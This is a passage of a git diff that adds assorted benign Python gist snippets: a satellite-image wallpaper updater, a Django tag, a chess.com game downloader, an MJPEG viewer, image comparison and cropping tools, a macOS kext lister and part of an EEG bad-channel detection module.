diff --git a/hard-gists/d6aa922505c4e5f21f2f/snippet.py b/hard-gists/d6aa922505c4e5f21f2f/snippet.py
new file mode 100644
index 00000000..ec721990
--- /dev/null
+++ b/hard-gists/d6aa922505c4e5f21f2f/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/local/bin/python
+
+# Tested on Mac OS Yosemite circa July 2015, when NNVL had just started
+# making Himawari images available. Hopefully they keep it up!
+# Installation:
+#   pip install appscript
+#   change the image storage path below
+#   make executable (chmod +x himawari_bg.py)
+#   setup a cron job to run this script every 10 minutes
+
+#import os
+import ftplib
+import datetime
+import appscript
+import subprocess
+
+# set this to your preferred image location.
+path = "/users/scott/Pictures/Desktop Backgrounds/himawari"
+
+img = "%s/himawari.jpg" % (path)
+
+ftp = ftplib.FTP("ftp.nnvl.noaa.gov")
+ftp.login()
+ftp.cwd("GOES/HIMAWARI")
+fn = sorted(ftp.nlst())[-1]  # files are sensibly named w/ timestamps
+
+# for debugging purposes...
+#with open(path + "/ts.txt", 'w') as f:
+#    f.write(str(datetime.datetime.now()))
+
+with open(img, 'wb') as fh:
+    ftp.retrbinary('RETR ' + fn, fh.write)
+
+# change all display backgrounds; doesn't work on other spaces.
+se = appscript.app('System Events')
+desktops = se.desktops.display_name.get()
+for d in desktops:
+    desk = se.desktops[appscript.its.display_name == d]
+    desk.picture.set(appscript.mactypes.File(img))
+
+# this is the only way I could reliably convince osx to refresh and not use
+# some magically cached versions sometimes. afaict there are no adverse
+# effects of killing the dock every 10 minutes
+subprocess.call(['/usr/bin/killall', 'Dock'])
\ No newline at end of file
diff --git a/hard-gists/d6cd0fb8c85e1547c3c60f95f5b2d5e1/._snippet.py b/hard-gists/d6cd0fb8c85e1547c3c60f95f5b2d5e1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d6cd0fb8c85e1547c3c60f95f5b2d5e1/._snippet.py differ
diff --git a/hard-gists/d6cd0fb8c85e1547c3c60f95f5b2d5e1/snippet.py b/hard-gists/d6cd0fb8c85e1547c3c60f95f5b2d5e1/snippet.py
new file mode 100644
index 00000000..021c5fef
--- /dev/null
+++ b/hard-gists/d6cd0fb8c85e1547c3c60f95f5b2d5e1/snippet.py
@@ -0,0 +1,21 @@
+from django import template
+
+register = template.Library()
+
+@register.simple_tag(takes_context=True)
+def query_transform(context, **kwargs):
+    '''
+    Returns the URL-encoded querystring for the current page,
+    updating the params with the key/value pairs passed to the tag.
+    
+    E.g: given the querystring ?foo=1&bar=2
+    {% query_transform bar=3 %} outputs ?foo=1&bar=3
+    {% query_transform foo='baz' %} outputs ?foo=baz&bar=2
+    {% query_transform foo='one' bar='two' baz=99 %} outputs ?foo=one&bar=two&baz=99
+    
+    A RequestContext is required for access to the current querystring.
+    '''
+    query = context['request'].GET.copy()
+    for k, v in kwargs.iteritems():
+        query[k] = v
+    return query.urlencode()
\ No newline at end of file
diff --git a/hard-gists/d6cdb809115ecf46d5fea5a458c4dada/._snippet.py b/hard-gists/d6cdb809115ecf46d5fea5a458c4dada/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d6cdb809115ecf46d5fea5a458c4dada/._snippet.py differ
diff --git a/hard-gists/d6cdb809115ecf46d5fea5a458c4dada/snippet.py b/hard-gists/d6cdb809115ecf46d5fea5a458c4dada/snippet.py
new file mode 100644
index 00000000..7e49bbeb
--- /dev/null
+++ b/hard-gists/d6cdb809115ecf46d5fea5a458c4dada/snippet.py
@@ -0,0 +1,140 @@
+#!/usr/bin/python
+
+import spynner
+import pyquery
+import urllib
+import os
+
+# author: Nate Schultz
+# contact: github.com/beefy
+# created: 10/22/16
+
+# This script downloads all live game PGNs from chess.com and concatinates the resulting files
+# Please note you need your chess.com login credentials in the file path below
+# Please note this may be broken in the future due to chess.com UI changes
+
+# first line username
+# second line password
+LOGIN_CRED_FILE_PATH = './chesslogin.txt'
+
+# path to output directory
+# autocreated if it doesn't exist
+OUTPUT_PATH = './my_chess_games'
+
+if not os.path.exists(OUTPUT_PATH):
+	os.makedirs(OUTPUT_PATH)
+
+url_old_game_archive = "https://www.chess.com/home/my_archive"
+url_old_game_archive_all_live = "https://www.chess.com/home/my_archive?sortby=&show=live&color=all&result=all"
+url_new_game_archive = "https://www.chess.com/games/archive"
+
+next_page = lambda page_num: url_old_game_archive_all_live+"&page="+str(page_num)
+
+# initialize browser
+def init_browser():
+	b = spynner.Browser(debug_level=spynner.INFO)
+	b.load("https://www.chess.com/login")
+	b.load_jquery(True)
+	return b
+
+# login from new chess.com
+def login_new(b):
+	b.click_link('a[href="//www.chess.com/switch?request_uri=%2Flogin"]')
+	credentials = [line.strip() for line in open(LOGIN_CRED_FILE_PATH,'rb')]
+	b.wk_fill('input[id="username"]',credentials[0])
+	b.wk_fill('input[id="password"]',credentials[1])
+	b.click_link('button[id="login"]')
+
+# login from old chess.com
+def login_old(b):
+	credentials = [line.strip() for line in open(LOGIN_CRED_FILE_PATH,'rb')]
+	b.wk_fill('input[name="c1"]',credentials[0])
+	b.wk_fill('input[name="loginpassword"]',credentials[1])
+	b.click_link('button[name="btnLogin"]')
+
+# load ajax
+def load_ajax(b):
+	js_str = 'var script = document.createElement("script");script.src = "http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js";document.getElementsByTagName("head")[0].appendChild(script);'
+	b.runjs(js_str)
+	b.wait(5) # let ajax finish
+
+# "depricated"
+def check_checkboxes(b):
+	# first attempt: I tried to do the typical checkboxes + download button on the new chess.com
+	# but the download button proved too difficult, so I had to use the old chess.com
+	# this code checks the first 10 checkboxes, as a test
+
+	# index checkboxes
+	js_str = "i = 0; $('input[game-checkbox]').each( function() { $(this).attr('id','game-checkbox'+i); i++; });"
+	b.runjs(js_str)
+
+	# iterate checkboxes
+	for i in range(10):
+		b.click('input[id="game-checkbox'+str(i)+'"]')
+
+	b.click('.pull-right.download-all')
+
+def scrape(b):
+
+	links_per_page = 50		
+	chess_game_extension = '.chessgame'
+	chess_page_extension = '.chesspage'
+	game_delimiter = '\nwww.thenateschultz.com\ngithub.com/beefy\n'
+
+	# page iteration
+	page_i = 1;
+	while True:
+
+		# index view links
+		js_str = "i = 0; jQuery('.games.right-4').each( function() { jQuery(this).attr('id','game-view'+i); i++; });"
+		b.runjs(js_str)
+
+		# game iteration (same # every page)
+		for i in range(links_per_page):
+			b.click_link('#game-view'+str(i)) # click 'view' link
+			# download PGN
+			d = pyquery.PyQuery(b.html)
+			raw_href = d('a[class="bpgn"]').attr("href") # get download link
+			href = urllib.unquote(raw_href)
+			b.download(href, open(OUTPUT_PATH+'/PGN_'+str(i)+chess_game_extension,'w')) # write PGN to file
+			b.load(url_old_game_archive_all_live) # redirect to game archive
+		
+			# re-index view links
+			js_str = "i = 0; jQuery('.games.right-4').each( function() { jQuery(this).attr('id','game-view'+i); i++; });"
+			b.runjs(js_str)
+
+		# merge PGNs
+		PGNs = [open(os.path.join(OUTPUT_PATH, file),'rb') for file in os.listdir(OUTPUT_PATH) if file.endswith(chess_game_extension)]
+		PGN_data = [file.read() for file in PGNs]
+		PGN_page_str = game_delimiter.join(PGN_data)
+		PGN_page_out = open(OUTPUT_PATH+'/page'+str(page_i)+chess_page_extension,'w')
+		PGN_page_out.write(PGN_page_str)
+		PGN_page_out.close()
+		for file in PGNs:
+			os.remove(file.name) # delete merged files
+
+		try:
+			# redirect to next page!
+			page_i += 1
+			b.load(next_page(page_i))
+		except:
+			# I guess there's no more pages
+			# merge pages
+			PGNs = [open(os.path.join(OUTPUT_PATH, file),'rb') for file in os.listdir(OUTPUT_PATH) if file.endswith(chess_page_extension)]
+			PGN_data = [file.read() for file in PGNs]
+			PGN_page_str = game_delimiter.join(PGN_data)
+			PGN_page_out = open(OUTPUT_PATH+'/PGNs.txt','w')
+			PGN_page_out.write(PGN_page_str)
+			PGN_page_out.close()
+			for file in PGNs:
+				os.remove(file.name) # delete merged files
+
+			return
+
+if __name__ == "__main__":
+	b = init_browser()
+	login_old(b)
+	b.load(url_old_game_archive_all_live) # redirect to game archive
+	load_ajax(b)
+	scrape(b)
+	# b.browse() # activate GUI
\ No newline at end of file
diff --git a/hard-gists/d6eb474543c32eb33504/._snippet.py b/hard-gists/d6eb474543c32eb33504/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d6eb474543c32eb33504/._snippet.py differ
diff --git a/hard-gists/d6eb474543c32eb33504/snippet.py b/hard-gists/d6eb474543c32eb33504/snippet.py
new file mode 100644
index 00000000..4575daee
--- /dev/null
+++ b/hard-gists/d6eb474543c32eb33504/snippet.py
@@ -0,0 +1,76 @@
+"""
+MJpeg Viewer using pure Kivy + urllib
+=====================================
+
+.. author:: Mathieu Virbel <mat@meltingrocks.com>
+"""
+
+import io
+import urllib
+import threading
+from kivy.uix.image import Image
+from kivy.app import App
+from kivy.properties import StringProperty
+from kivy.core.image import Image as CoreImage
+from kivy.clock import Clock
+from collections import deque
+
+
+class MjpegViewer(Image):
+
+    url = StringProperty()
+
+    def start(self):
+        self.quit = False
+        self._queue = deque()
+        self._thread = threading.Thread(target=self.read_stream)
+        self._thread.daemon = True
+        self._thread.start()
+        self._image_lock = threading.Lock()
+        self._image_buffer = None
+        Clock.schedule_interval(self.update_image, 1 / 30.)
+
+    def stop(self):
+        self.quit = True
+        self._thread.join()
+        Clock.unschedule(self.read_queue)
+
+    def read_stream(self):
+        stream = urllib.urlopen(self.url)
+        bytes = ''
+        while not self.quit:
+            bytes += stream.read(1024)
+            a = bytes.find('\xff\xd8')
+            b = bytes.find('\xff\xd9')
+            if a != -1 and b != -1:
+                jpg = bytes[a:b + 2]
+                bytes = bytes[b + 2:]
+
+                data = io.BytesIO(jpg)
+                im = CoreImage(data,
+                               ext="jpeg",
+                               nocache=True)
+                with self._image_lock:
+                    self._image_buffer = im
+
+    def update_image(self, *args):
+        im = None
+        with self._image_lock:
+            im = self._image_buffer
+            self._image_buffer = None
+        if im is not None:
+            self.texture = im.texture
+            self.texture_size = im.texture.size
+
+
+if __name__ == "__main__":
+
+    class MjpegViewerApp(App):
+        def build(self):
+            viewer = MjpegViewer(
+                url=
+                "http://195.235.198.107:3344/axis-cgi/mjpg/video.cgi?resolution=320x240")
+            viewer.start()
+            return viewer
+
+    MjpegViewerApp().run()
diff --git a/hard-gists/d710f2751428975448a4/._snippet.py b/hard-gists/d710f2751428975448a4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d710f2751428975448a4/._snippet.py differ
diff --git a/hard-gists/d710f2751428975448a4/snippet.py b/hard-gists/d710f2751428975448a4/snippet.py
new file mode 100644
index 00000000..658d7bd6
--- /dev/null
+++ b/hard-gists/d710f2751428975448a4/snippet.py
@@ -0,0 +1,47 @@
+# coding: utf8
+'''
+对于图片相似度比较有很多方法，我们这以RGB直方图为例。
+我们以一种规则，使得每个图片生成一组描述的特征向量。
+opencv的直方图比较函数我们可以巧妙的利用，其有若干比较规则，但只支持直方图的数据结构，我们可以将特征向量拟合成直方图的数据结构，然后使用其的相似度比较函数。
+具体的数学计算方法有兴趣的可以看opencv的官方教程，这里我们期望生成百分比形式的相似度参数，所以使用CV_COMP_CORREL
+ 
+以下是代码，以python编写
+'''
+import cv2.cv as cv
+ 
+def createHist(img):
+    #cv.CvtColor(img,img,cv.CV_BGR2HSV)
+    b_plane = cv.CreateImage((img.width,img.height), 8, 1)
+    g_plane = cv.CreateImage((img.width,img.height), 8, 1)
+    r_plane = cv.CreateImage((img.width,img.height), 8, 1)
+ 
+ 
+    cv.Split(img,b_plane,g_plane,r_plane,None)
+    planes = [b_plane, g_plane, r_plane]
+    
+    bins = 4
+    b_bins = bins
+    g_bins = bins
+    r_bins = bins
+ 
+    hist_size = [b_bins,g_bins,r_bins]
+    b_range = [0,255]
+    g_range = [0,255]
+    r_range = [0,255]
+ 
+    ranges = [b_range,g_range,r_range]
+    hist = cv.CreateHist(hist_size, cv.CV_HIST_ARRAY, ranges, 1)
+    cv.CalcHist([cv.GetImage(i) for i in planes], hist)
+    cv.NormalizeHist(hist,1)
+    return hist
+ 
+def imgcompare(image1,image2):
+    img1 = cv.LoadImage(image1)
+    hist1 = createHist(img1)
+    img2 = cv.LoadImage(image2)
+    hist2 = createHist(img2)
+    return cv.CompareHist(hist1,hist2,cv.CV_COMP_CORREL)
+    
+print imgcompare("/Users/michael/Pictures/355.jpg","/Users/michael/Pictures/356.jpg")
+print imgcompare("/Users/michael/Pictures/img_0379.jpg","/Users/michael/Pictures/img_0377.jpg")
+# print imgcompare("test_19037_19037_source.jpg","19014.jpg")
\ No newline at end of file
diff --git a/hard-gists/d76eb4f4eea0320bb35dcd1b2a4575ee/._snippet.py b/hard-gists/d76eb4f4eea0320bb35dcd1b2a4575ee/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d76eb4f4eea0320bb35dcd1b2a4575ee/._snippet.py differ
diff --git a/hard-gists/d76eb4f4eea0320bb35dcd1b2a4575ee/snippet.py b/hard-gists/d76eb4f4eea0320bb35dcd1b2a4575ee/snippet.py
new file mode 100644
index 00000000..7a3f0969
--- /dev/null
+++ b/hard-gists/d76eb4f4eea0320bb35dcd1b2a4575ee/snippet.py
@@ -0,0 +1,310 @@
+#!/usr/bin/env python
+'''Crop an image to just the portions containing text.
+
+Usage:
+
+    ./crop_morphology.py path/to/image.jpg
+
+This will place the cropped image in path/to/image.crop.png.
+
+For details on the methodology, see
+http://www.danvk.org/2015/01/07/finding-blocks-of-text-in-an-image-using-python-opencv-and-numpy.html
+
+Script created by Dan Vanderkam (https://github.com/danvk)
+Adapted to Python 3 by Lui Pillmann (https://github.com/luipillmann)
+'''
+
+import glob
+import os
+import random
+import sys
+import random
+import math
+import json
+from collections import defaultdict
+
+import cv2
+from PIL import Image, ImageDraw
+import numpy as np
+from scipy.ndimage.filters import rank_filter
+
+
+def dilate(ary, N, iterations): 
+    """Dilate using an NxN '+' sign shape. ary is np.uint8."""
+    
+    kernel = np.zeros((N,N), dtype=np.uint8)
+    kernel[(N-1)//2,:] = 1  # Bug solved with // (integer division)
+    
+    dilated_image = cv2.dilate(ary / 255, kernel, iterations=iterations)
+    
+    kernel = np.zeros((N,N), dtype=np.uint8)
+    kernel[:,(N-1)//2] = 1  # Bug solved with // (integer division)
+    dilated_image = cv2.dilate(dilated_image, kernel, iterations=iterations)
+    return dilated_image
+
+
+def props_for_contours(contours, ary):
+    """Calculate bounding box & the number of set pixels for each contour."""
+    c_info = []
+    for c in contours:
+        x,y,w,h = cv2.boundingRect(c)
+        c_im = np.zeros(ary.shape)
+        cv2.drawContours(c_im, [c], 0, 255, -1)
+        c_info.append({
+            'x1': x,
+            'y1': y,
+            'x2': x + w - 1,
+            'y2': y + h - 1,
+            'sum': np.sum(ary * (c_im > 0))/255
+        })
+    return c_info
+
+
+def union_crops(crop1, crop2):
+    """Union two (x1, y1, x2, y2) rects."""
+    x11, y11, x21, y21 = crop1
+    x12, y12, x22, y22 = crop2
+    return min(x11, x12), min(y11, y12), max(x21, x22), max(y21, y22)
+
+
+def intersect_crops(crop1, crop2):
+    x11, y11, x21, y21 = crop1
+    x12, y12, x22, y22 = crop2
+    return max(x11, x12), max(y11, y12), min(x21, x22), min(y21, y22)
+
+
+def crop_area(crop):
+    x1, y1, x2, y2 = crop
+    return max(0, x2 - x1) * max(0, y2 - y1)
+
+
+def find_border_components(contours, ary):
+    borders = []
+    area = ary.shape[0] * ary.shape[1]
+    for i, c in enumerate(contours):
+        x,y,w,h = cv2.boundingRect(c)
+        if w * h > 0.5 * area:
+            borders.append((i, x, y, x + w - 1, y + h - 1))
+    return borders
+
+
+def angle_from_right(deg):
+    return min(deg % 90, 90 - (deg % 90))
+
+
+def remove_border(contour, ary):
+    """Remove everything outside a border contour."""
+    # Use a rotated rectangle (should be a good approximation of a border).
+    # If it's far from a right angle, it's probably two sides of a border and
+    # we should use the bounding box instead.
+    c_im = np.zeros(ary.shape)
+    r = cv2.minAreaRect(contour)
+    degs = r[2]
+    if angle_from_right(degs) <= 10.0:
+        box = cv2.boxPoints(r)
+        box = np.int0(box)
+        cv2.drawContours(c_im, [box], 0, 255, -1)
+        cv2.drawContours(c_im, [box], 0, 0, 4)
+    else:
+        x1, y1, x2, y2 = cv2.boundingRect(contour)
+        cv2.rectangle(c_im, (x1, y1), (x2, y2), 255, -1)
+        cv2.rectangle(c_im, (x1, y1), (x2, y2), 0, 4)
+
+    return np.minimum(c_im, ary)
+
+
+def find_components(edges, max_components=16):
+    """Dilate the image until there are just a few connected components.
+
+    Returns contours for these components."""
+    # Perform increasingly aggressive dilation until there are just a few
+    # connected components.
+    
+    count = 21
+    dilation = 5
+    n = 1
+    while count > 16:
+        n += 1
+        dilated_image = dilate(edges, N=3, iterations=n)
+        dilated_image = np.uint8(dilated_image)
+        _, contours, hierarchy = cv2.findContours(dilated_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+        count = len(contours)
+    #print dilation
+    #Image.fromarray(edges).show()
+    #Image.fromarray(255 * dilated_image).show()
+    return contours
+
+
+def find_optimal_components_subset(contours, edges):
+    """Find a crop which strikes a good balance of coverage/compactness.
+
+    Returns an (x1, y1, x2, y2) tuple.
+    """
+    c_info = props_for_contours(contours, edges)
+    c_info.sort(key=lambda x: -x['sum'])
+    total = np.sum(edges) / 255
+    area = edges.shape[0] * edges.shape[1]
+
+    c = c_info[0]
+    del c_info[0]
+    this_crop = c['x1'], c['y1'], c['x2'], c['y2']
+    crop = this_crop
+    covered_sum = c['sum']
+
+    while covered_sum < total:
+        changed = False
+        recall = 1.0 * covered_sum / total
+        prec = 1 - 1.0 * crop_area(crop) / area
+        f1 = 2 * (prec * recall / (prec + recall))
+        #print '----'
+        for i, c in enumerate(c_info):
+            this_crop = c['x1'], c['y1'], c['x2'], c['y2']
+            new_crop = union_crops(crop, this_crop)
+            new_sum = covered_sum + c['sum']
+            new_recall = 1.0 * new_sum / total
+            new_prec = 1 - 1.0 * crop_area(new_crop) / area
+            new_f1 = 2 * new_prec * new_recall / (new_prec + new_recall)
+
+            # Add this crop if it improves f1 score,
+            # _or_ it adds 25% of the remaining pixels for <15% crop expansion.
+            # ^^^ very ad-hoc! make this smoother
+            remaining_frac = c['sum'] / (total - covered_sum)
+            new_area_frac = 1.0 * crop_area(new_crop) / crop_area(crop) - 1
+            if new_f1 > f1 or (
+                    remaining_frac > 0.25 and new_area_frac < 0.15):
+                print('%d %s -> %s / %s (%s), %s -> %s / %s (%s), %s -> %s' % (
+                        i, covered_sum, new_sum, total, remaining_frac,
+                        crop_area(crop), crop_area(new_crop), area, new_area_frac,
+                        f1, new_f1))
+                crop = new_crop
+                covered_sum = new_sum
+                del c_info[i]
+                changed = True
+                break
+
+        if not changed:
+            break
+
+    return crop
+
+
+def pad_crop(crop, contours, edges, border_contour, pad_px=15):
+    """Slightly expand the crop to get full contours.
+
+    This will expand to include any contours it currently intersects, but will
+    not expand past a border.
+    """
+    bx1, by1, bx2, by2 = 0, 0, edges.shape[0], edges.shape[1]
+    if border_contour is not None and len(border_contour) > 0:
+        c = props_for_contours([border_contour], edges)[0]
+        bx1, by1, bx2, by2 = c['x1'] + 5, c['y1'] + 5, c['x2'] - 5, c['y2'] - 5
+
+    def crop_in_border(crop):
+        x1, y1, x2, y2 = crop
+        x1 = max(x1 - pad_px, bx1)
+        y1 = max(y1 - pad_px, by1)
+        x2 = min(x2 + pad_px, bx2)
+        y2 = min(y2 + pad_px, by2)
+        return crop
+    
+    crop = crop_in_border(crop)
+
+    c_info = props_for_contours(contours, edges)
+    changed = False
+    for c in c_info:
+        this_crop = c['x1'], c['y1'], c['x2'], c['y2']
+        this_area = crop_area(this_crop)
+        int_area = crop_area(intersect_crops(crop, this_crop))
+        new_crop = crop_in_border(union_crops(crop, this_crop))
+        if 0 < int_area < this_area and crop != new_crop:
+            print('%s -> %s' % (str(crop), str(new_crop)))
+            changed = True
+            crop = new_crop
+
+    if changed:
+        return pad_crop(crop, contours, edges, border_contour, pad_px)
+    else:
+        return crop
+
+
+def downscale_image(im, max_dim=2048):
+    """Shrink im until its longest dimension is <= max_dim.
+
+    Returns new_image, scale (where scale <= 1).
+    """
+    a, b = im.size
+    if max(a, b) <= max_dim:
+        return 1.0, im
+
+    scale = 1.0 * max_dim / max(a, b)
+    new_im = im.resize((int(a * scale), int(b * scale)), Image.ANTIALIAS)
+    return scale, new_im
+
+
+def process_image(path, out_path):
+
+    orig_im = Image.open(path)
+    scale, im = downscale_image(orig_im)
+
+    edges = cv2.Canny(np.asarray(im), 100, 200)
+
+    # TODO: dilate image _before_ finding a border. This is crazy sensitive!
+    _, contours, hierarchy = cv2.findContours(edges, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+    borders = find_border_components(contours, edges)
+    borders.sort(key=lambda i_x1_y1_x2_y2: (i_x1_y1_x2_y2[3] - i_x1_y1_x2_y2[1]) * (i_x1_y1_x2_y2[4] - i_x1_y1_x2_y2[2]))
+
+    border_contour = None
+    if len(borders):
+        border_contour = contours[borders[0][0]]
+        edges = remove_border(border_contour, edges)
+
+    edges = 255 * (edges > 0).astype(np.uint8)
+
+    # Remove ~1px borders using a rank filter.
+    maxed_rows = rank_filter(edges, -4, size=(1, 20))
+    maxed_cols = rank_filter(edges, -4, size=(20, 1))
+    debordered = np.minimum(np.minimum(edges, maxed_rows), maxed_cols)
+    edges = debordered
+
+    contours = find_components(edges)
+    if len(contours) == 0:
+        print('%s -> (no text!)' % path)
+        return
+
+    
+
+    crop = find_optimal_components_subset(contours, edges)
+    crop = pad_crop(crop, contours, edges, border_contour)
+
+    crop = [int(x / scale) for x in crop]  # upscale to the original image size.
+
+    #draw = ImageDraw.Draw(im)
+    #c_info = props_for_contours(contours, edges)
+    #for c in c_info:
+    #    this_crop = c['x1'], c['y1'], c['x2'], c['y2']
+    #    draw.rectangle(this_crop, outline='blue')
+    #draw.rectangle(crop, outline='red')
+    #im.save(out_path)
+    #draw.text((50, 50), path, fill='red')
+    #orig_im.save(out_path)
+    #im.show()
+    text_im = orig_im.crop(crop)
+    text_im.save(out_path)
+    print('%s -> %s' % (path, out_path))
+
+
+if __name__ == '__main__':
+    if len(sys.argv) == 2 and '*' in sys.argv[1]:
+        files = glob.glob(sys.argv[1])
+        random.shuffle(files)
+    else:
+        files = sys.argv[1:]
+
+    for path in files:
+        out_path = path.replace('.jpg', '.crop.png')
+        #out_path = path.replace('.png', '.crop.png')  # .png as input
+        if os.path.exists(out_path): continue
+        try:
+            process_image(path, out_path)
+        except Exception as e:
+            print('%s %s' % (path, e))
\ No newline at end of file
diff --git a/hard-gists/d85b17e6e13fd8dcad7cf51d1c6b3a1c/._snippet.py b/hard-gists/d85b17e6e13fd8dcad7cf51d1c6b3a1c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d85b17e6e13fd8dcad7cf51d1c6b3a1c/._snippet.py differ
diff --git a/hard-gists/d85b17e6e13fd8dcad7cf51d1c6b3a1c/snippet.py b/hard-gists/d85b17e6e13fd8dcad7cf51d1c6b3a1c/snippet.py
new file mode 100644
index 00000000..f84c8455
--- /dev/null
+++ b/hard-gists/d85b17e6e13fd8dcad7cf51d1c6b3a1c/snippet.py
@@ -0,0 +1,70 @@
+#!/usr/bin/python
+
+# Credit to frogor for the objc
+
+from Foundation import NSBundle
+import json
+import objc
+import os
+import plistlib
+import subprocess
+
+IOKit = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
+functions = [('KextManagerCopyLoadedKextInfo', '@@@'), ]
+objc.loadBundleFunctions(IOKit, globals(), functions)
+
+kernel_dict = KextManagerCopyLoadedKextInfo(None, None)
+folderpaths = ['/Applications', '/Users', '/System/Library/Extensions',
+               '/Library']
+
+unidentifiedKexts = []
+
+# This just finds all of the currently loaded kexts.
+identifiedKexts = \
+    [
+        {
+            'Identifier': kernel_dict[kext]['CFBundleIdentifier'],
+            'KextPath': kernel_dict[kext]['OSBundlePath'],
+            'Version': kernel_dict[kext]['CFBundleVersion'],
+        }
+        for kext in kernel_dict.keys()
+        if not kext.startswith(('__kernel', 'com.apple'))
+    ]
+
+# This checks common folder paths for any unloaded Kexts and attempts to give
+# the same type of info as above. This can take a really long time to finish,
+# and could really piss people off if you run this more than once.
+# More notes:
+# mdfind by default doesn't search hidden paths or application bundles
+#
+# kextfind can't traverse folders
+#
+# locate takes just as long as os.walk if not longer since we are skipping some
+# of the folders. If we use locate, the db could also be out of date.
+#
+# COMMENT THIS OUT IF YOU DON'T CARE ABOUT THIS AND ONLY WANT LOADED KEXTS!
+# """
+for path in folderpaths:
+    for root, dirnames, filesnames in os.walk(path):
+        if root.endswith('.kext'):
+            infoplist = os.path.join(root, 'Contents/Info.plist')
+            if os.path.isfile(infoplist):
+                kextplistpath = plistlib.readPlist(infoplist)
+                if 'apple' in kextplistpath['CFBundleIdentifier']:
+                    continue
+                else:
+                    kextinfo = {
+                        'Identifier': kextplistpath['CFBundleIdentifier'],
+                        'KextPath': root,
+                        'Version': kextplistpath['CFBundleVersion'],
+                    }
+                    identifiedKexts.append(kextinfo)
+            else:
+                unidentifiedKexts.append(root)
+# COMMENT THIS OUT IF YOU DON'T CARE ABOUT THIS AND ONLY WANT LOADED KEXTS!
+# """
+
+kextsThatWillMakeAnAdminCry = {'IdentifiedKexts': identifiedKexts,
+                               'UnidentifiedKexts': unidentifiedKexts}
+
+print json.dumps(kextsThatWillMakeAnAdminCry, indent=4, sort_keys=True)
diff --git a/hard-gists/d883c3fe1402c7ced6fc/._snippet.py b/hard-gists/d883c3fe1402c7ced6fc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d883c3fe1402c7ced6fc/._snippet.py differ
diff --git a/hard-gists/d883c3fe1402c7ced6fc/snippet.py b/hard-gists/d883c3fe1402c7ced6fc/snippet.py
new file mode 100644
index 00000000..39254c73
--- /dev/null
+++ b/hard-gists/d883c3fe1402c7ced6fc/snippet.py
@@ -0,0 +1,349 @@
+import numpy as np
+import scipy.signal
+import mne
+from scipy.stats import kurtosis
+from mne.preprocessing import find_outliers
+from mne.fixes import nanmean
+from mne.utils import logger
+#from mne.preprocessing.eog import _get_eog_channel_index
+
+
+def hurst(x):
+    """Estimate Hurst exponent on a timeseries.
+
+    The estimation is based on the second order discrete derivative.
+
+    Parameters
+    ----------
+    x : 1D numpy array
+        The timeseries to estimate the Hurst exponent for.
+
+    Returns
+    -------
+    h : float
+        The estimation of the Hurst exponent for the given timeseries.
+    """
+    y = np.cumsum(np.diff(x, axis=1), axis=1)
+
+    b1 = [1, -2, 1]
+    b2 = [1,  0, -2, 0, 1]
+
+    # second order derivative
+    y1 = scipy.signal.lfilter(b1, 1, y, axis=1)
+    y1 = y1[:, len(b1) - 1:-1]  # first values contain filter artifacts
+
+    # wider second order derivative
+    y2 = scipy.signal.lfilter(b2, 1, y, axis=1)
+    y2 = y2[:, len(b2) - 1:-1]  # first values contain filter artifacts
+
+    s1 = np.mean(y1 ** 2, axis=1)
+    s2 = np.mean(y2 ** 2, axis=1)
+
+    return 0.5 * np.log2(s2 / s1)
+
+def _freqs_power(data, sfreq, freqs):
+    fs, ps = scipy.signal.welch(data, sfreq,
+                                nperseg=2 ** int(np.log2(10 * sfreq) + 1),
+                                noverlap=0,
+                                axis=-1)
+    return np.sum([ps[..., np.searchsorted(fs, f)] for f in freqs], axis=0)
+
+def faster_bad_channels(epochs, picks=None, thres=3, use_metrics=None):
+    """Implements the first step of the FASTER algorithm.
+    
+    This function attempts to automatically mark bad EEG channels by performing
+    outlier detection. It operated on epoched data, to make sure only relevant
+    data is analyzed.
+
+    Parameters
+    ----------
+    epochs : Instance of Epochs
+        The epochs for which bad channels need to be marked
+    picks : list of int | None
+        Channels to operate on. Defaults to EEG channels.
+    thres : float
+        The threshold value, in standard deviations, to apply. A channel
+        crossing this threshold value is marked as bad. Defaults to 3.
+    use_metrics : list of str
+        List of metrics to use. Can be any combination of:
+            'variance', 'correlation', 'hurst', 'kurtosis', 'line_noise'
+        Defaults to all of them.
+
+    Returns
+    -------
+    bads : list of str
+        The names of the bad EEG channels.
+    """
+    metrics = {
+        'variance':    lambda x: np.var(x, axis=1),
+        'correlation': lambda x: nanmean(
+                           np.ma.masked_array(
+                               np.corrcoef(x),
+                               np.identity(len(x), dtype=bool)
+                           ),
+                           axis=0),
+        'hurst':       lambda x: hurst(x),
+        'kurtosis':    lambda x: kurtosis(x, axis=1),
+        'line_noise':  lambda x: _freqs_power(x, epochs.info['sfreq'],
+                                              [50, 60]),
+    }
+
+    if picks is None:
+        picks = mne.pick_types(epochs.info, meg=False, eeg=True, exclude=[])
+    if use_metrics is None:
+        use_metrics = metrics.keys()
+
+    # Concatenate epochs in time
+    data = epochs.get_data()
+    data = data.transpose(1, 0, 2).reshape(data.shape[1], -1)
+    data = data[picks]
+
+    # Find bad channels
+    bads = []
+    for m in use_metrics:
+        s = metrics[m](data)
+        b = [epochs.ch_names[picks[i]] for i in find_outliers(s, thres)]
+        logger.info('Bad by %s:\n\t%s' % (m, b))
+        bads.append(b)
+
+    return np.unique(np.concatenate(bads)).tolist()
+
+def _deviation(data):
+    """Computes the deviation from mean for each channel in a set of epochs.
+
+    This is not implemented as a lambda function, because the channel means
+    should be cached during the computation.
+    
+    Parameters
+    ----------
+    data : 3D numpy array
+        The epochs (#epochs x #channels x #samples).
+
+    Returns
+    -------
+    dev : 1D numpy array
+        For each epoch, the mean deviation of the channels.
+    """
+    ch_mean = np.mean(data, axis=2)
+    return ch_mean - np.mean(ch_mean, axis=0)
+
